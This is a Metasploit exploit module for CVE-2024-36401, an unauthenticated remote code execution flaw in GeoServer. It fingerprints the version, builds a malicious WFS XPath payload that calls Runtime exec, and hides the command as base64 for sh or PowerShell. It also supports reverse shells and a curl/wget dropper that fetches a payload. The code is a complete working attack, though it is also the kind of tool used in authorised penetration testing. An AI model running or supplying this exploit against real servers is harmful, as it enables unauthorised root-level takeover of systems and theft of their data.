##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    prepend Msf::Exploit::Remote::AutoCheck
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
  
    def initialize(info = {})
      super(
        update_info(
          info,
          'Name' => 'Geoserver unauthenticated Remote Code Execution',
          'Description' => %q{
            GeoServer is an open-source software server written in Java that provides
            the ability to view, edit, and share geospatial data.
            It is designed to be a flexible, efficient solution for distributing geospatial data
            from a variety of sources such as Geographic Information System (GIS) databases,
            web-based data, and personal datasets.
            In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
            multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
            through specially crafted input against a default GeoServer installation due to unsafely
            evaluating property names as XPath expressions.
            An attacker can abuse this by sending a POST request with a malicious xpath expression
            to execute arbitrary commands as root on the system.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
            'jheysel-r7', # MSF module Windows support
            'Steve Ikeoka' # Discovery
          ],
          'References' => [
            ['CVE', '2024-36401'],
            ['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
            ['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
            ['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
          ],
          'DisclosureDate' => '2024-07-01',
          'Platform' => ['unix', 'linux'],
          'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
          'Privileged' => true,
          'Targets' => [
            [
              'Unix Command',
              {
                'Platform' => ['unix', 'linux'],
                'Arch' => ARCH_CMD,
                'Type' => :unix_cmd
                # Tested with cmd/unix/reverse_bash
              }
            ],
            [
              'Linux Dropper',
              {
                'Platform' => ['linux'],
                'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
                'Type' => :linux_dropper,
                'Linemax' => 16384,
                'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
                # Tested with linux/x64/meterpreter_reverse_tcp
              }
            ],
            [
              'Windows Command',
              {
                'Platform' => ['Windows'],
                'Arch' => ARCH_CMD,
                'Type' => :win_cmd
                # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
              }
            ],
          ],
          'DefaultTarget' => 0,
          'DefaultOptions' => {
            'RPORT' => 8080,
            'SSL' => false
          },
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
          }
        )
      )
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI path of the GeoServer web application', '/'])
        ]
      )
    end
  
    def check_version
      print_status('Trying to detect if target is running a vulnerable version of GeoServer.')
      res = send_request_cgi!({
        'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'),
        'keep_cookies' => true,
        'method' => 'GET'
      })
      return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')
  
      html = res.get_html_document
      unless html.blank?
        # html identifier for Geoserver version information: <span id="version">2.23.2</span>
        version = html.css('span[id="version"]')
        return Rex::Version.new(version[0].text) unless version[0].nil?
      end
      nil
    end
  
    def get_valid_featuretype
      allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
      res = send_request_cgi!({
        'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
        'method' => 'GET',
        'ctype' => 'application/xml',
        'keep_cookies' => true,
        'vars_get' => {
          'request' => 'ListStoredQueries',
          'service' => 'wfs'
        }
      })
      return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')
  
      xml = res.get_xml_document
      unless xml.blank?
        xml.remove_namespaces!
        # get all the FeatureTypes and store them in an array of strings
        retrieved_feature_types = xml.xpath('//ReturnFeatureType')
        # shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
        # return the feature type if a match is found in the allowed_feature_types array
        retrieved_feature_types.to_a.shuffle.each do |feature_type|
          return feature_type.text if allowed_feature_types.include?(feature_type.text)
        end
      end
      nil
    end
  
    def create_payload(cmd)
      # get a valid feature type and fail back to a default if not successful
      feature_type = get_valid_featuretype
      feature_type = 'sf:archsites' if feature_type.nil?
  
      case target['Type']
      when :unix_cmd || :linux_dropper
        # create customised b64 encoded payload
        # 'Encoder' => 'cmd/base64' does not work in this particular use case
        cmd_b64 = Base64.strict_encode64(cmd)
        cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
      when :win_cmd
        enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
        cmd = "powershell.exe -e #{enc_cmd}"
      end
  
      return <<~EOS
        <wfs:GetPropertyValue service='WFS' version='2.0.0'
          xmlns:topp='http://www.openplans.org/topp'
          xmlns:fes='http://www.opengis.net/fes/2.0'
          xmlns:wfs='http://www.opengis.net/wfs/2.0'>
            <wfs:Query typeNames="#{feature_type}"/>
            <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "#{cmd}")</wfs:valueReference>
        </wfs:GetPropertyValue>
      EOS
    end
  
    def execute_command(cmd, _opts = {})
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
        'method' => 'POST',
        'ctype' => 'application/xml',
        'keep_cookies' => true,
        'data' => create_payload(cmd)
      })
      fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
    end
  
    def check
      version_number = check_version
      return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?
      return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')
  
      CheckCode::Safe("Version #{version_number}")
    end
  
    def exploit
      print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
  
      case target['Type']
      when :unix_cmd, :win_cmd
        execute_command(payload.encoded)
      when :linux_dropper
        # don't check the response here since the server won't respond
        # if the payload is successfully executed.
        execute_cmdstager({ linemax: target.opts['Linemax'] })
      end
    end
  end